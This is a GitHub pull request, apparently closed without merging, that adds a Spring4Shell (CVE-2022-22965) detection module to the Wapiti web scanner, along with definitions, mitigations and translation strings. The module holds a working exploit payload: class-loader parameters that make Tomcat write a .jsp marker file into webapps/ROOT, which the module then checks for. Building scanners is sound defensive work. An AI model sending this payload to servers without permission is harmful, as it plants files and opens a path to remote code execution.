Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Add new spring4shell module to detect Spring4Shell #275

Closed
wants to merge 1 commit into from
Closed
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension

Conversations
Failed to load comments.
Jump to
Jump to file
Failed to load files.
Diff view
Diff view
1 change: 1 addition & 0 deletions wapitiCore/attack/attack.py
Expand Up @@ -54,6 +54,7 @@
"permanentxss",
"redirect",
"shellshock",
"spring4shell",
"sql",
"ssl",
"ssrf",
Expand Down
110 changes: 110 additions & 0 deletions wapitiCore/attack/mod_spring4shell.py
@@ -0,0 +1,110 @@
import uuid
import asyncio

from httpx import RequestError
from wapitiCore.attack.attack import Attack
from wapitiCore.definitions.spring import NAME, WSTG_CODE
from wapitiCore.language.vulnerability import _
from wapitiCore.main.log import log_red, logging
from wapitiCore.net.web import Request


class ModuleSpring4Shell(Attack):
"""
Detect the Spring4Shell vulnerability
"""

name = "spring4shell"
do_get = True
do_post = True


async def must_attack(self, request: Request):
if self.finished is True:
return False
return True


async def _attack_spring4shell_url(self, request_url: str):
payload_unique_id = uuid.uuid4()
payload = self._generate_payload(payload_unique_id)

malicious_request = Request(
path=request_url,
method="POST",
post_params=payload,
)

try:
logging.info(malicious_request)
await self.crawler.async_send(malicious_request, follow_redirects=True)
except RequestError:
self.network_errors += 1
return
await self._verify_spring4shell_vulnerability(malicious_request, payload_unique_id)


async def attack(self, request: Request):

await self._attack_spring4shell_url(request.url)


async def _verify_spring4shell_vulnerability(self, request: Request, param_uuid: uuid.UUID):
if not await self._verify_spring4shell_file(str(param_uuid)):
return

await self.add_vuln_critical(
category=NAME,
request=request,
info=_("URL {0} seems vulnerable to Spring4Shell attack") \
.format(request.url),
parameter="",
wstg=WSTG_CODE
)

log_red("---")
log_red(
_("URL {0} seems vulnerable to Spring4Shell attack"),
request.url
)
log_red(request.http_repr())
log_red("---")


async def _verify_spring4shell_file(self, param_uuid: str) -> bool:
root_url = await self.persister.get_root_url()
spring4shell_file_url = root_url + "spring4shell-wapiti3.jsp"

spring4shell_file_request = Request(
path=spring4shell_file_url,
method="GET",
)

# need to wait here and make a first request
await asyncio.sleep(10)
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A voir avec @fwininger

await self.crawler.async_send(spring4shell_file_request, follow_redirects=False)

logging.info(spring4shell_file_request)

# need to wait again and then we can check if file was created
await asyncio.sleep(10)
Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

A voir avec @fwininger

Copy link
Member

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

J'ai regardé et apparemment les autres scripts d'attaque mettent aussi un timer à genre 12 secondes :(.

response = await self.crawler.async_send(spring4shell_file_request, follow_redirects=False)


if response.is_success and param_uuid in response.content:
self.finished = True
return True

return False

@staticmethod
def _generate_payload(unique_id: uuid.UUID) -> str:
log_pattern = ["class.module.classLoader.resources.context.parent.pipeline.first.pattern",
f"spring4shell-wapiti3-{unique_id}"]
log_file_suffix = ["class.module.classLoader.resources.context.parent.pipeline.first.suffix",".jsp"]
log_file_dir = ["class.module.classLoader.resources.context.parent.pipeline.first.directory","webapps/ROOT"]
log_file_prefix = ["class.module.classLoader.resources.context.parent.pipeline.first.prefix",
"spring4shell-wapiti3"]
log_file_date_format = ["class.module.classLoader.resources.context.parent.pipeline.first.fileDateFormat",""]

return [log_pattern, log_file_suffix, log_file_dir, log_file_prefix, log_file_date_format]
46 changes: 46 additions & 0 deletions wapitiCore/definitions/spring.py
@@ -0,0 +1,46 @@
from wapitiCore.language.language import _

TYPE = "vulnerability"

NAME = _("Spring4Shell")
SHORT_NAME = NAME

WSTG_CODE = ["WSTG-INPV-11"]

DESCRIPTION = _(
"A Spring MVC or Spring WebFlux application running on JDK 9+ may be vulnerable to remote code execution (RCE)"
"via data binding. The specific exploit requires the application to run on Tomcat as a WAR deployment."
"If the application is deployed as a Spring Boot executable jar, i.e. the default,"
"it is not vulnerable to the exploit. However, the nature of the vulnerability is more general,"
"and there may be other ways to exploit it."
)

SOLUTION = _(
"Users of affected versions should apply the following mitigation: 5.3.x users should upgrade to 5.3.18+,"
"5.2.x users should upgrade to 5.2.20+. No other steps are necessary."
"There are other mitigation steps for applications that cannot upgrade to the above versions."
)

REFERENCES = [
bretfourbe marked this conversation as resolved.
Show resolved Hide resolved
{
"title": "CYBERWATCH: Spring4Shell CVE-2022-22965",
"url": (
"https://cyberwatch.fr/cve/spring4shell-tout-savoir-sur-la-vulnerabilite-0-day-liee-a-java-spring/"
)
},
{
"title": "VMWARE: CVE-2022-22965 Detail",
"url": "https://tanzu.vmware.com/security/cve-2022-22965"
},
{
"title": "MITRE: CVE-2022-22965",
"url": "https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-22965"
},
{
"title": "OWASP: Code Injection",
"url": (
"https://owasp.org/www-project-web-security-testing-guide/v42/4-Web_Application_Security_Testing/"
"07-Input_Validation_Testing/11-Testing_for_Code_Injection"
)
}
]
4 changes: 4 additions & 0 deletions wapitiCore/language_sources/en.po
Expand Up @@ -169,6 +169,10 @@ msgstr "URL {0} seems vulnerable to Log4Shell attack by using the {1} {2}"
msgid "URL {0} seems vulnerable to Log4Shell attack"
msgstr "URL {0} seems vulnerable to Log4Shell attack"

#, python-brace-format
msgid "URL {0} seems vulnerable to Spring4Shell attack"
msgstr "URL {0} seems vulnerable to Spring4Shell attack"

msgid "Error: {} is not a valid domain name"
msgstr "Error: {} is not a valid domain name"

Expand Down
4 changes: 4 additions & 0 deletions wapitiCore/language_sources/fr.po
Expand Up @@ -170,6 +170,10 @@ msgstr ""
msgid "URL {0} seems vulnerable to Log4Shell attack"
msgstr "L'URL {0} semble vulnérable à l'attaque Log4Shell"

#, python-brace-format
msgid "URL {0} seems vulnerable to Spring4Shell attack"
msgstr "L'URL {0} semble vulnérable à l'attaque Spring4Shell"

msgid "Error: {} is not a valid domain name"
msgstr "Erreur: {} n'est pas un nom de domaine valide"

Expand Down